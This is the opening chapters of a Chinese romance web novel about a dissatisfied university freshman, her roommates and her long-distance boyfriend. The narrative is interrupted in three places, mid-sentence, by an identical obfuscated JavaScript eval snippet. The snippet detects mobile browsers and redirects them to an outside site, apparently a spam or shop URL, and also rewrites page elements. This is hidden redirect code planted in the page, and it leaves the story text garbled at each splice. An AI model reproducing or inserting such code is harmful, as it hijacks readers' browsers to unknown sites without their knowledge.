《普通美女date日记》 1. 报道 九月初，烈日当空。 一年一度的开学季，与过去每年都一样，秋天的温度总比秋季晚到一步。 不一样的是，今年是梁芝上大学的第一年。 梁芝费力提起车后备箱的行李，刚放好，她爸从前座拖来装被子的透明大塑料袋，也放在她脚边。 除了这些，她脚边还有一大包维达纸巾、大中小三个号的粉盆以及乱七八糟的瓶瓶罐罐。 蝉鸣声和路边的喇叭交错相鸣，聒噪得很。 梁芝面朝她爸，背后是学校用来迎新的北门。 梁本昌正欲开口，梁芝的目光越过他，被一步步靠近的交警吸引。 “诶！”交警喊他，“这不准停车，即停即走不知道吗？后面还有那么多车等着在。” 梁本昌回头，见到他穿的一身衣服，头一低，连声忙道：“好嘞好嘞……你看，这不是女儿开学，给女儿送行李嘛，马上搬完，一搬完我就开走。” 交警摆摆手，“这路边到处都是报道的新生，要都像你这么停，这条路还动不了了呢！赶紧开走。” “哎呀我这——” “爸！” 梁芝突然喊了他一声，他看过来，露出整张脸，比黄土还要深得多的肤色，眼袋很重，个子不高，手臂却十分精壮，十分典型的、长期从事体力劳动的形象。 梁芝扯出一抹笑容，表情轻松，“要不就先去把车挪走吧，我没事的，学院的群里通知了，会有学长学姐过来帮我们。” “那我这……” “你就放心去吧，爸，我就在本地上学，你还能有什么不放心的？” 送走了她爸，梁芝看了眼脚下大袋子小袋子的东西，又隐隐开始头疼。 “新生？” 梁芝侧身看去，率先注意到的是对方手臂上系着的红色标识，随后目光上移，注意到他的大众长相，她笑了笑，点头，“是。” 对方回以微笑，十分热情，“你好，我是这次迎新活动的志愿者，同学你是哪个院的？” “外院。” “怪不得，都说外院美女多，刚送走一个，这又来一个。” 梁芝抿唇浅笑，实际却没将他的夸奖放心上。 长相普通的男生在私下夸你好看，未必是你真好看，有可能是为了说好话，看能不能和你发生点什么，也有可能是他真觉得你好看，只不过是他能接触到的层次的好看。 听着悦耳，实则——没用。 “这么多，都是你的东西？” “是，第一次住校，家里不放心。” “原来如此。学妹，我帮你把这些搬到你们院的迎新处吧，那边有专门负责你们院的志愿者。” “那就麻烦学长了。” 所谓迎新处，也就是顺着进来的道，搭个遮阳棚，每个棚子正面印刷着自己院的名称。 外院的棚子前，梁芝递上录取通知书等一堆材料，在签到处签下名字后，拿到了自己在这个学校的校园卡。 负责的学姐照例问：“同学你的行李需要帮忙搬运吗？” 梁芝让开空间，露出不好意思的神情，“我想应该需要。” 学姐看了眼，一拍大腿，“坏了！” “怎么了？” “唉，学妹你有所不知，我们外院男生少，仅有的几个都在搬行李的路上，还没回来，你这些……我担心女生搬不动啊！” 梁芝抿唇，天气热，连带着人心底都烦躁。 “我的天，热死了！” 一个胖胖的男生一屁股坐到椅子上，弯腰拿起箱子里的一瓶矿泉水，咚咚往嘴里灌。 一口喝完后，喘着气：“我不干了，我先休息会。” “等会等会，这还有个学妹要帮忙，你先搬完这个再休息。” “我不——” 见男生看向她，梁芝浅浅一笑，“学长好。” 男生收了声音，往后一看，“这么多东西啊……” “抱歉，可能要麻烦学长了。” “咳，那、那行吧。”他站起身，走到梁芝身旁，边帮她拿东西，边对负责的学姐说：“说好了啊，这是最后一趟。” 梁芝将大塑料袋留给了他，以及不好拿的粉盆，自己只一身轻地推着行李箱，背个书包。 “学妹也太有先见之明了，连这些生活用品都提前备好了，想我当年都还是到学校后，发现需要才买的。” “有先见之明的不是我，是我爸妈。” “哦哦，学妹哪里人呀？” “本地人。” “那怎么会选择本地上大学？” 这段时间似乎每个人在知道她的学校后，都要问一句相似的问题。 梁芝垂眸，轻声答：“就是图方便。” “也是，家近以后放假……” 梁芝无心再听他在说什么，糊弄了一路无意义的对话，终于抵达了宿舍楼。 “就是这了，女生宿舍，我不好上去。” “到这就好，谢谢学长。” 梁芝搬了两趟，才把行李全运上了宿舍楼，正要刷卡进寝室，门却毫无预料地从里面打开了，迎面对上一个身材高挑的女生。 “太好了，终于来人了，快进来！我正准备开门给里面透透气呢。” 女生见到她眼睛一亮，将她迎进来，想到是未来四年要一起生活的人，梁芝态度也放热情，“只到了我们两个人吗？” “是的。” 一边说着，一边走进，待梁芝看清里面的环境，脸上的笑容却慢慢敛起。 四人寝，上床下桌，这是她早就知道的信息。可不知道的是——墙壁脱落、设施陈旧，空气里弥漫着闷闷的、潮湿的，似乎在密闭柜子里发酵了一整个夏天的气味。 这就是她将要度过整个大学时光的地方…… 说不清是失望多些，还是后悔多些，总之她心底的情绪也像这空气的气味，在慢慢发酵。 “是吧？你也看愣了。我一进来的时候就在想，这好歹也是个一本，条件这么差吗？” 室友愤懑的声音响在耳边。 是啊，一本，竟然只是个一本…… 即便花了一整个暑假来接受这个结果，可当真真实实地站在它面前，还是让人无比的不甘。 她重复室友的语气：“是啊，条件也太差了。” “对了，我叫袁子琪。” “梁芝。” 短暂的寒暄后，梁芝着手收拾行李。 桌子上布着细密的灰尘，雾蒙蒙的，上面还贴着前人留下的贴画。 她这时候庆幸起家里给她带的东西，里面有一整包湿巾，当然还有抹布。 可用抹布要脏手，她不会选择。 在她爬上床铺被子时，另外两个室友也陆续来了。 下面三人自然地就寝室环境聊了起来，气氛一时很热闹，叽叽喳喳的。 梁芝压好最后一块被角，才慢腾腾从床上下来。 “原来还有一个人，这么说我们寝室都到齐啦？” 说话的卷发女生，梁芝一眼认出，是朋友圈发过自拍的那位。 临近开学，刚分配好寝室，她就通过班群找到了她，不仅加了联系方式，还拉了个寝室小群。 她身边那位，体型瘦弱，穿着朴素，梁芝要是毒舌点，会说土气，像从大山里考出来的。 可看着她，梁芝的思维又开始发散，她从大山考到一线城市，跳跃出原本的生活轨迹，是进步，可她却在原地踏步…… “你怎么啦？”卷发女生问。 梁芝回神，摇摇头，回以微笑，“没事。” “那就好，我们刚在互相介绍呢，我叫戴若梦，她是丁香。” “那我们以后就要在一块生活啦！” 戴若梦行李收拾了一半，突然拿着手机，兴致勃勃对她们道：“等会我们吃完晚饭一块去逛校园吧！我看他们说，我们学校的图书馆可好看了。” “好呀！” “顺便还可以看看学校伙食怎么样！” 大家都挺兴奋的，似乎也很喜欢新学校。 梁芝率先整理好行李，坐在自己的椅子上，盯着墙壁脱落的地方发了会呆，她总能闻到空气里那股难闻的味道。 手机振动了一下，她拿起，解锁查看。 爱心：【宝贝，学校怎么样？】 怎么样？当然是—— 梁芝：【挺好的，室友人也很好。】 爱心：【那我就放心了。】 爱心：【方便不？想给你打视频。】 梁芝回过身看了一圈，礼貌询问：“我对象说想给我打个视频，你们方便吗？” 另外两人没反应，戴若梦一口答道：“方便呀，我跟我对象晚上也要打电话。” 袁子琪：“没想到你们都有对象！” 梁芝收回视线，回了个好。 耳机刚戴上，那边就拨了过来。 梁芝按下接听，屏幕上出现一个模样帅气的男生，浓颜，眼眶深邃，眉骨立体，尤其是鼻梁部分，又高又挺，叫她不知羡慕过多少次。 还记得，她有次曾捏着他的鼻子问他怎么长的，他边笑，边瓮声瓮气答：“天生的呀，我爸跟我说，我祖上有毛子血统。” 怪不得。 梁芝旋即摸了摸自己的鼻子，要是他能分点挺翘度给她就好了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724078|144921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我看看，宿舍环境怎么样？” “不要。” 她一口回绝，将微信视频大屏切换成自己，对着手机，调整角度和发型。 拨弄了半天还是不满意，鼻子不够挺是大问题，有顿感，不够精致，脸型倒是流畅，可下巴不够尖，还是有顿感，整张脸上，她唯一还算满意的就是眼睛了，当下流行的平扇型双眼皮，眼尾微翘，眼睛大而有神，一笑起来，还有浅浅的卧蚕。 总而言之，是张比上不足、比下有余的脸。 “瞧这眉头皱得，怎么，不高兴了？”薛以珩在那头比她随意多了，大咧咧靠在椅子上，寝室的顶光投在他脸上，明明暗暗，还给他添了些宛若电影的质感。 一张骨相好的脸，怎么上镜都好看。 梁芝依旧在认真地调整正前方的小台灯，直到确定从这个角度打过来的光是最好看的，才停止了动作，分出心神回复他的问题。 “对呀，不高兴，因为很长时间都见不到你了。” 对面传来一阵噼里啪啦的声音，屏幕里的薛以珩被动静吸引，还没来得及回答，就立刻扭头看向门的方向。 “我去，刚刚是谁的声音？真他妈好听。” “好啊，阿珩这小子在食堂丢下我们，原来是为了偷跑回来打视频。” 对面突然出现了一张大脸，梁芝眼疾手快调转手机的方向，让自己出镜。 “诶，怎么没见着人？” 薛以珩赶忙推开他，笑骂道：“还不都赖你，这下好了吧，把我女朋友都吓跑了。” “还真是你女朋友啊，你知道最近很火的夹子音不，你女朋友的声音真像，我刚还以为是哪个女主播。” “什么夹子音，什么女主播？” 对面两个宿舍的男生吃完饭回来，一窝蜂团团围在薛以珩身边，清一色的小麦肤色，手撑在大腿上，身子前倾，肌肉线条绷紧。 梁芝没露出一点身形，以一个旁观者的角度，静静看着。 梁芝声音是天生的，现实生活里听着还好，可一旦经过设备传递，就会放大她原本的特色和缺点，声调软，音色细且尖，伴随着轻微的咬合问题，说话偶尔会吞字，听着黏黏糊糊的。 为此，她妈还专门带她去看过中医，中医说气短体虚，要调养，开了七天的中药，让喝完再来看。可药太苦了，梁芝喝了一周觉得没什么用，到下周后，坚决不愿再去。 薛以珩刚好和她相反，身体倍棒，且长相帅气，性子开朗，会来事，在高中就表现出了善于社交的本事，几乎每个班上都有几个称兄道弟的好朋友，久而久之，除了两耳不闻窗外事的学生，多少都听过他的名字，加上后来发生的几件事，更是让他在整个年级都出了名。 她和他高中一个班，薛以珩文化课一般，高三选择去练了四项（体育四项），也因此，文化课比她低了几十分，上的学校却比她好。 他们军训比其他人多一个星期，开学也就早一星期。 一周时间，他不仅跟自己宿舍，就连隔壁宿舍都混成了好哥们。 “你们聊吧，我先挂了。” 冷不丁出声，叫对面都静了几分，旋即爆发了更大的讨论。 “这声音听得我鸡皮疙瘩都起来了。” “你女朋友说话一直都这样吗？” “你们少说几句，挺好听的啊。”镜头外传来一道男声。 下一秒，他的身形出现在梁芝的视线中。 和其他人相比，他皮肤偏白，头发稍长，眉眼舒朗，脸上带着笑意，和薛以珩笑起来坏坏的感觉不同，他内敛许多，是一种清爽干净的帅气。 他一来，其他人都往后让开了点空间。 薛以珩站起身，手搭上他的肩膀，带着他的身子往手机前凑，“宝贝，给你介绍一下，这就是我之前跟你提过的，隔壁宿舍的好兄弟，何斐君。” “我跟你说，这兄弟家里可有钱了，你知道他穿的都是些什么鞋么……” 何斐君只是浅笑，“那没什么。” 薛以珩喜欢球鞋，新品发售每次都蹲，身上攒的钱，要么给她花，要么就拿去买联名款。 “……哦，我还有事，就先挂了。” 梁芝深吸了一口气，没等到薛以珩的回复，就直接挂断了视频。 她手中握着手机，半天没动，屏幕亮光很快熄灭，陷入了黑暗。 过了几分钟，它才再次震动，一下接一下。 “梁芝？” 梁芝回头，看向面朝她站着的三个室友。 “我们正准备出去逛逛，顺便吃晚饭，你要不要一起呀？” 她站起身，将手机揣进口袋里。 “好。” 2. 军训 四人一起，并排走会太长，于是自动分成了两组，两两一组。 戴若梦很热心，也很自来熟，她拉着梁芝问：“对了，梁芝，你和你男朋友也是异地吗？” “是异地，你们也是吗？” 说到这个算是打开了话题，她瘪着嘴道：“别说了，我跟他上学的地方隔了一千多公里，走之前，我还拉着他一直哭不停。” “你看——” 梁芝停下脚步，看她双指并拢，揉着眼尾，表情可怜兮兮：“眼角到现在还是红的，哭了一路。” “你呢，不难过吗？” 难过？ 梁芝很难形容自己对薛以珩究竟是什么样的感情，喜欢、依恋、还是……怨恨？ 太阳斜挂在空中，要落不落，她道：“难过。” 食堂里，她们几个排队等着给饭卡充钱。 到了梁芝，她从口袋里拿出手机，屏幕一亮，立刻弹出了一连串微信消息，她大致扫了眼—— 【生气了？】 【抱歉，都是我的错，我没想到他们会回来那么早。】 【宝贝，别不理我，你说，怎么惩罚我都行。】 【我知道你心思细腻，他们说的话肯定惹你不开心了，但有些男生就是个傻逼，你犯不着因为他们影响自己的心情。】 【梁芝，理理我吧……】 确实傻逼。 她划去消息，扫码付钱。 “我吃饱啦！”戴若梦放下勺子，打开手机，将刚刚拍下的饭菜照片发给男朋友，手上不停打字，嘴上说着：“我觉得我们学校食堂还挺便宜的，味道嘛……也还行。” 袁子琪附和：“我也觉得还行。” 丁香埋头轻声嗯了一声，没引起什么波动。 戴若梦打完字，抬头，眼神扫视一圈，“你们都吃好了吗？吃好了我们就出发吧！” 梁芝刚要应声，口袋里的手机嗡嗡震动，连带着那一块皮肤都在轻颤。 她拿起一看，果不其然，见她不回，他直接一个打电话过来了。 震动声响个不停，势有她不接，就会一直打下去的架势。 梁芝冲她们歉意笑笑：“要不你们先去吧，我有个电话要接。” “啊——那好吧。”戴若梦露出遗憾的表情，转瞬又对另外两人道：“那我们走吧！” 某些事情从开始就能看出日后的端倪，这是梁芝后来回头看，才恍然惊觉的道理。 走出食堂，找了个人少的地方，她接起电话。 “谢天谢地，你总算接了我的电话。” 薛以珩大大松了口气的声音透过耳机，清晰传递到梁芝耳中，他那边背景音有些嘈杂，伴着忽远忽近的说话声和风声，显然不在寝室。 “梁芝你可真是我的祖宗，接了电话，又一句话不说。说吧，哪不开心了，你说一个，我哄一个。” 哪不开心这个问题真的很难回答清楚。 梁芝想了想，终于开口：“我们分手吧。” 对面一时像被按了静音键，只能听见呼呼风声。 好一会，他吊儿郎当的语气变了，说话时多了几分嘶哑，“我知道你不喜欢那些人，但我不说了么，他们就是傻逼，你就把他们当个屁放了。” “你是不是在责怪我没帮你说话，没帮你骂他们，你听我说，那一点意义也没有，这种人骂了也没用。” 梁芝静静听着他渐渐加大音量的声音、着急的语气，试图在向她证明什么，她打断了他，“所以为什么还要和这种人交好？” 对面愣了愣，“……为什么不应该交好？那是未来四年的室友啊。” “那隔壁宿舍呢？” “那全是因为何斐君，这兄弟人真挺不错的，而且他家很有钱。这个世上，多个朋友就多条路…这些话我可从来没跟人说过，外面那些人觉得我仗义，会来事，不拘小节，其实我什么样，我都跟你说了，梁芝……你知道的，我是真喜欢你。” 可梁芝却曾不止一次想过，如果她上学时没有遇到薛以珩，现在会不会有不一样的结果？ 她深吸了口气，垂下的眼睫遮住了眸底的情绪，“我只是，接受不了异地恋。” “等军训一结束，我就去看你。我们隔得不算远，几百公里，梁芝，你相信我，我跟你保证，每个月我都会抽出时间去找你。” 她重新寻找借口：“不是因为这个，因为我没安全感。” 半晌，对面突然传来阵阵低沉的笑声。 “……你笑什么？” “没什么，就是听你承认因为我没安全感，一时开心到没忍住。” 他这人真是……梁芝觉得自己矛盾得快疯了。 别的也就算了，真的，别的都算了，她可以归结于是自己心性不坚。可她唯一接受不了，他打听她大学想去哪个城市、哪所学校，结果他去成了，她却留在了本地。 坦白说，她真的有点怨他。 她从没打算答应他，可查到成绩后，梁芝头一次主动联系了薛以珩。 “你们军训两周？” “嗯。” “好了。” “什么好了？” “车票订好了。” “……” 他说：“梁芝，你要不要说一声你喜欢我？” 梁芝莫名：“为什么？” 他的声音有些低：“……刚刚是你第三次跟我提分手，都说事不过三，你说一句喜欢，抵一句分手，那我就还有一次哄回你的保底机会。” 梁芝挂了电话，看了眼校园路上来来往往的行人，每张面孔都青春靓丽，生机勃勃。 她没去找室友，也没去逛校园，独自回了寝室。 前年，短视频软件音符横空出世，并迅速以火热的态势席卷了全国。 梁芝当时还在上高中，没有太多时间玩手机，只粗略刷过几次，真正了解上还是在这个暑假。 寝室没人，无事可做，她坐在椅子上，点开音符，第一个出现的就是变装视频。 这类视频当下很火，通过前后换装的反差吸引点赞，可梁芝的注意力全在对方动态的、漂亮的长相上。 音符带给她的第一个冲击就是容貌焦虑。 她又连着刷到了几条同类型的，梁芝不禁将视线从手机转移到旁边的镜子上，打量着镜子里出现的那张脸。 要是再好看一点就好了。 鼻子再挺一点、小一点，下巴再尖一点，面部平整度再高一点，皮肤再白一点…… 这么想着，于是她退出音符，打开了p图软件，随意选取一张自拍，按照自己理想的样子一点点p着。 P图也是门技术活，但除了技术，还要有审美，更要学会适度。 好在梁芝底子不错，微调就能从小美女变成大美女，而且还不至于叫大家认不出那是她。 真好看。 她看着照片，什么都刚刚好，精致漂亮。 她要是真长这样就好了。 晚点，梁芝刚洗完澡，随着门锁响起一道滴声，她的几个室友也都回来了。 有说有笑的声音，宿舍瞬间热闹了起来。 “我们明天拿完军训服，刚好去那边的食堂吃饭吧。” “我觉得可以，那边窗口好像和我们这边不一样。” “肯定不一样，唉——只有明天还能睡个懒觉，后天就要军训了，天呐，我不想在太阳下暴晒！” “我也不想！” “……” 看着她们聊得热火朝天的样子，她突然意识到，自己似乎错过了什么。 她走上前，加入她们的对话：“你们说的是哪个食堂？” 三人看向她，对话顿了一下，戴若梦开口说：“明天拿军训服的地方靠近南门，我们打算去南门那个食堂吃饭。” “对了，听说学生会的面试时间会放在军训期间？” “是呀，”戴若梦立刻接话：“我加了学姐，学姐说面试会放在中午，具体什么时间到时候再通知我们。” “你们都打算报名吗？” “……” 对话又重新进行下去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724079|144921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 …… 军训第一天。 非常不幸，是个艳阳高照的大晴天。 梁芝比其他人早起五分钟，为了涂好防晒。 四人一起到场地后，广场上已经有了不少人，一小撮一小撮站着，陆陆续续添着新人。 眼看快到点了，教官开始整队，按班级站好，又按身高从低到高往后排。 乌泱泱的一群人，清一色的军绿迷彩服。 这时，有人顶着众人视线姗姗来迟。 她朝来人看去，是个女生，个子高挑、身材纤细，隔得太远，加上对方戴了口罩，梁芝看不清长相，可莫名就是有一种直觉，对方应该长得很好看。 女生往后走，经过梁芝身边时，梁芝看见了她口罩外面的一双眼睛，画过妆，戴了美瞳，很漂亮。 走远后，她才注意到对方军训服的裤子短了一小截，露出的脚踝骨骼突出，肤色白皙。 注意到那个女生的似乎并不止她一人，只不过梁芝仅在军训第一天见到了对方。 再次听到对方的消息是在军训快结束时，和同行人聊天，同行人突然提到：“对了，你见过孟南初不？” 她摇头。 “是我们这届一个很漂亮的女生。” 听她这么形容，梁芝脑海里的第一个冒出来的就是军训时匆匆一瞥的女生。 她不动声色听着，“嗯，然后呢？” “军训还没结束，她就和宋樾川在一起了。” “宋樾川又是谁？” “你不知道吗，我们外院很有名的一个帅哥。外院男生少是众所周知的一件事，这点你肯定已经很清楚了。” 确实，梁芝班上一共只有五个男生。 “本就少的人群里突然出现了一个各方面都优秀的，自然很快就出名了。” 梁芝不在乎宋什么川的到底是谁，听完整件事，她再一次感叹，出色的长相自带话题度，仅在院内就可以达到如此效果，如果在网络上呢？是不是也很轻松就能成为网红。 只是后来她才知道，原来并不是所有人都需要借助网络才能打开圈子，也看不上它带来的收入和追捧。 中午。 梁芝站在卫生间里的镜子前，旁边洗手台上放着一张报名表。 她摘下军训帽，整理发型，又从口袋里掏出一只口红，简单补了下嘴唇颜色。 弄好后，她重新戴上帽子。 刚转身往外走，迎面撞上了一个女生。 女生也穿着军训服，浅栗色的长发垂至胸前，显得脸蛋更小，五官精致，嘴唇亮晶晶的，形状像花瓣，长得像个洋娃娃。 她举着手机，正在跟人通话：“我不管，我等会去面试礼仪队，要是通过了，你就给我买个包……嘶，抱歉啊，你没事吧？没什么，就是撞到了个人，放心啦，是个女生。哎呀，你别打岔，之前说好了的，你要是不给我买，改天回去我就跟叔叔告状……” 梁芝从卫生间出来，走远后，对方娇俏的声音也跟着远了。 她应该就是孟南初吧？ 手上拿着报名表，她将多余的想法抛之脑后，在学生会面试附近的空教室里，随便找了个地方坐下。 她掏出手机，打算临上场前再看看提前写下的自我介绍，微信弹出消息—— 爱心：【面试加油！】 爱心：【我相信宝贝一定可以的。】 爱心：【明天上午的高铁别忘了，我十二点前能到你那。不着急，你可以安心睡个懒觉，醒来后再画个美美的妆，等我去接你。】 梁芝没点开，弹出的信息很快就消失了，备忘录上的第一句就是： “大家好，我是梁芝，我热爱写作且在高中时，获过作文竞赛一等奖以及全国短诗大赛二等奖……” 台下新闻传媒中心的学长学姐拿着她的报名表，有人说：“这个大赛听上去蛮厉害的诶……” 部长冲台上的她笑了笑：“梁芝是吧？你的面试结束了，回去记得关注手机短信。” “谢谢学长学姐。” 3. 分手 第二天。 九点的闹钟准时震动，梁芝醒了，室友都还在睡，她放轻动作，小心翼翼下床，洗漱。 寝室里没开灯，像个阴暗的牢房，昏暗沉闷。 上了年纪的窗帘依旧□□在一线，有几束光线穿过它的残肢照进，金灿灿的光里浮尘跃动。 借着这几缕光，梁芝摸索打开书桌上的小台灯，旁边摆着一个长方形镜子。 她取出化妆用品，从防晒、隔离到遮瑕、上妆、定妆一个步骤不落，肤色均匀了，脸也白了。 紧接着拿起化妆刷，对着一张打好基底的脸，一点点描绘。 其实比起化完妆的欣赏时刻，她更喜欢化妆的过程，那种由自己创造的肉眼可见的美丽蜕变，妙不可言。 对于努力让自己变美这件事，梁芝一直很愿意下功夫，只是之前学习强度大，家里管得严，没什么机会，好在高考结束后，她就对照着网上视频教学，苦练了一整个暑假的化妆技术。 镜子里反射出一张温润柔和的脸蛋，眉毛细长，微弯，配上拉长的眼线，晕染出下眼睑的阴影，并不用力过猛，营造出虽化了妆但底子好的感觉，美瞳选的是琥珀色，带点碎高光，自然又水灵。 她最在意的还是鼻子，修过容后，从正面看，鼻头缩小了，山根也挺了，整张脸的精致瞬间就上来了。 梁芝满意地露出笑容，镜子里的那张脸也同样冲她笑了笑。 随后换上衣服，整理发型，一切才算完工。 期间，室友也陆续醒了。 梁芝换完鞋后起身，戴若梦站在一旁，看着与平日不同的她，问：“梁芝，你要出去呀？” 撞上她的目光，梁芝笑笑：“嗯。” “你这一身好好看，该不会是出去约会？” “是约会。” “可你和你男朋友不是异地恋吗？” 梁芝挎上包，拿起手机，抬头对戴若梦道：“他今早赶高铁过来的，刚到。” “你男朋友好好啊，羡慕了！” “只是我和他离得比较近而已，那我先出门了，晚上见。” —— “梁芝，这里！” 梁芝回头，寻找声音的来源。 下一秒，一个熟悉的面庞骑个共享电驴稳稳当当停在了她跟前。 他穿着件黑T，下身是水洗牛仔裤，不像大部分身材较单薄的年轻男生，他身高腿长，露在外的胳膊肌肉线条紧实，肩膀落拓挺拔，头发刺刺的，一张脸轮廓分明，脸上带着笑，张扬桀骜。 “还是我眼尖，你一出来我就看见你了。” 或许是眼窝过于深邃，他眸底深处似藏着若有若无的野劲，在太阳下，直勾勾盯着梁芝，又跟带了锋芒似的，亮得惊人，“快上车，带你去兜风！” 一个跟免费没什么区别的电驴也能叫兜风吗？ 梁芝抿唇，“你早说，我就不穿裙子来见你了。” “别呀，我刚还没说呢，你今天特别好看。” 正值中午，学校门口来来往往的学生川流不息，薛以珩轻咳一声，不算白的肌肤微红了下，他压低声音：“其实刚看你一出来，我就特别想抱你。” 梁芝身穿一件长裙，撑着把小伞，立在路边。 琥珀色的眼瞳在阳光的照射下，越发透明，像一颗晶莹的猫眼石，细看，又总觉得隔了点什么，雾蒙蒙的，看人时，如一汪清泉，清凌凌从心中淌过，润物细无声。 和他完全相反，她性子静，做起事来，慢腾腾又透着股认真，特别可爱。 薛以珩看着，心脏又砰砰跳起来，胸腔里塞了个鼓在敲打，不知道为什么，他就觉得她哪哪都合自己心意。 他到现在都还能想起，当年高二文理分班，班级打乱重组，开学第一天，他到得早，打算出去透透气，这边腿刚迈过门槛，眼一抬，迎面就看见她背着书包走进了他身后的班级。 一瞬的怦然心动，直至今日，依然未变。 “那我怎么坐？” 薛以珩回神，知道要来见她，他提前一整晚都在兴奋，丝毫没注意到她语气的异常，不好意思挠挠头，“其实可以坐前面……” 梁芝睫毛轻颤，她垂眸，收起伞。 薛以珩一只手扶住车头，另一只搭在坐垫上，长腿曲着，撑在地面，立体眉骨下，眼神肆意热烈，“再不上来可就晚了，我提前排了号，你之前不是说想吃烤肉吗？” “嗯。” 她应了声，递出伞，薛以珩自然接过，替她收好，挂在车头下方的小挂钩上。 身子往后移了移，给她腾出空间。 梁芝刚坐上，后背便贴上了一堵强劲有力的胸膛，温热的呼吸擦着耳畔起伏，比她高出大半个头的身体俯下来，如一件又厚又沉的披风，将她牢牢罩住。 他伸出双手从后方松松环在她身侧，声音高昂：“扶稳了，我们出发了！” 梁芝忙伸出一只手，按住车头。 驶离学校后，薛以珩拐进一条小路，眼见四周无人，他猝不及防亲了一口梁芝的侧脸。 “你——” “诶等等，容我先为自己说明一句，”他脑袋轻靠在梁芝肩上，染上笑意的声音逆着风向，钻进她耳里，“我很轻的，保证没弄花你的妆。” “等会吃饭要拍照，我都记着呢！” 梁芝哑了声，眼神向下，盯着不断后退，晃成一道道虚影的柏油路。 商场门口，薛以珩先把梁芝放下，又将伞递给她，“你在这等我一会，我去停车，很快就回来。” 她乖巧点头。 不一会儿，他回来时，手上还多了一个小袋子。 薛以珩将袋子送到梁芝眼前，眼神示意她，“打开看看。” 梁芝接过，拿出一看，是个粉色的拍立得。 “那什么，喜欢不？”他期待地问。 “我记得你出门喜欢拍照，想着这个应该能用上。” 她拿在手上，翻来覆去打量了几眼，说：“喜欢。” “既然喜欢，那我也是不是也能收一个小报酬。” 梁芝抬眸，“什么报酬？” “等会和我一起拍一张呗，我放在手机后面，回去再换个透明壳，这样不仅我天天能看到，别人看见也都能知道我有女朋友。怎么样，安全感是不是蹭一下就上来了？” 他的嗓音自带一股慵懒的劲儿，因为愉悦，尾调微微上扬。 梁芝被他逗乐了，唇角漾开笑，眼波柔软，盈盈望向他，“照你这么说，那我是不是也应该放一张？” 他低下头，拉起她拿着拍立得的手腕，在手背轻轻落下一吻，眉梢一抬，唇角勾了勾： “那我求之不得啊。” 梁芝羞涩避开他灼热的视线，眨眼间，目光陡然一转，平淡无波。 他拉起了就不舍得放手，拿出她手里的拍立得，重新放回袋子里，旋即将自己的手掌覆上，移至指缝间插入，扣住。 “走吧。” 商场里，一家日式烤肉店。 薛以珩提前预定了一个小包间，包间内灯光昏迷，暗沉的漆木装修，门口挂着开口的日式暖帘。 和牛酱烤牛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724080|144921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五花接触上预热好的铁架，发出轻微的滋一声。 梁芝捧着一杯鲜榨果汁，安静看薛以珩用夹子翻面，眼看快烤好了，她突然开口问：“你回去打算怎么办？” 他动作一滞，故作不明白，扯出一抹笑：“什么怎么办？” “这才刚开学，你一次性花了这么多，回去怎么办？” 他俩家庭条件一般，他这次来回车票，加上买礼物，吃饭七七八八的，大半个月生活费估计都没了。 薛以珩将烤好的五花放在她面前的托盘上，语气听着毫不在意：“我以为什么呢，你不是知道吗，我跟室友他们关系都挺好的……而且我身上有钱，等前期事情忙完，还会去找兼职，这你不用担心。” 他抬头，对她笑道：“你快尝尝，这玩意凉了可就不好吃了。” 在他注视的目光下，梁芝拿起筷子，夹起一块，沾了点海盐调味，放入口中，咀嚼，吞下。 “怎么样？” “好吃。” “好吃就行。” 吃得差不多了，薛以珩见梁芝拿出口红，沿着唇形涂抹，他立马放下筷子，眼神直白地盯着她。 梁芝不用猜也知道他在想什么，她装作没看见，对着镜子打量着脸上的妆，还行，没怎么脱。 她合上镜盖，拍了拍身旁的空位，“过来坐。” 薛以珩就等着这一刻，用纸巾擦干净嘴角，乐呵起身，长腿一跨，坐到了梁芝身侧。 梁芝摆弄着手里的拍立得，调好后，举高，试了几次，嫌手臂不够长，塞到了他手上。 “你拍。” 她一不高兴，或者事情不顺意，眉头就浅浅蹙着，偏整张脸又是柔和的，眼神淡淡，组合在一起有种叫人移不开眼的反差，总叫薛以珩心痒。 “行，我拍。” 他唇微勾，一手举着拍立得，另一只手放在梁芝肩上，紧紧搂住，腰微弯，配合她低下身子，脑袋靠在一块，梁芝坐姿端正，腰背挺直。 咔嚓一声，拍立得缓缓吐出一张照片。 薛以珩伸手接过，捧在手心，静待它成像，对梁芝道：“这第一张就给我吧。” 梁芝不甚在意点头，她本就没打算要这些照片。 随后又换了几个姿势，拍了好几张。 拍完后，他拿着已经成像的第一张，自己先盯着看了好一会后，才用修长的两指小心夹住边角，对梁芝举着展示，忍不住打趣：“你知道吗，你坐这么端正，特别像个乖宝宝，显得我像个心怀不轨的坏人。” 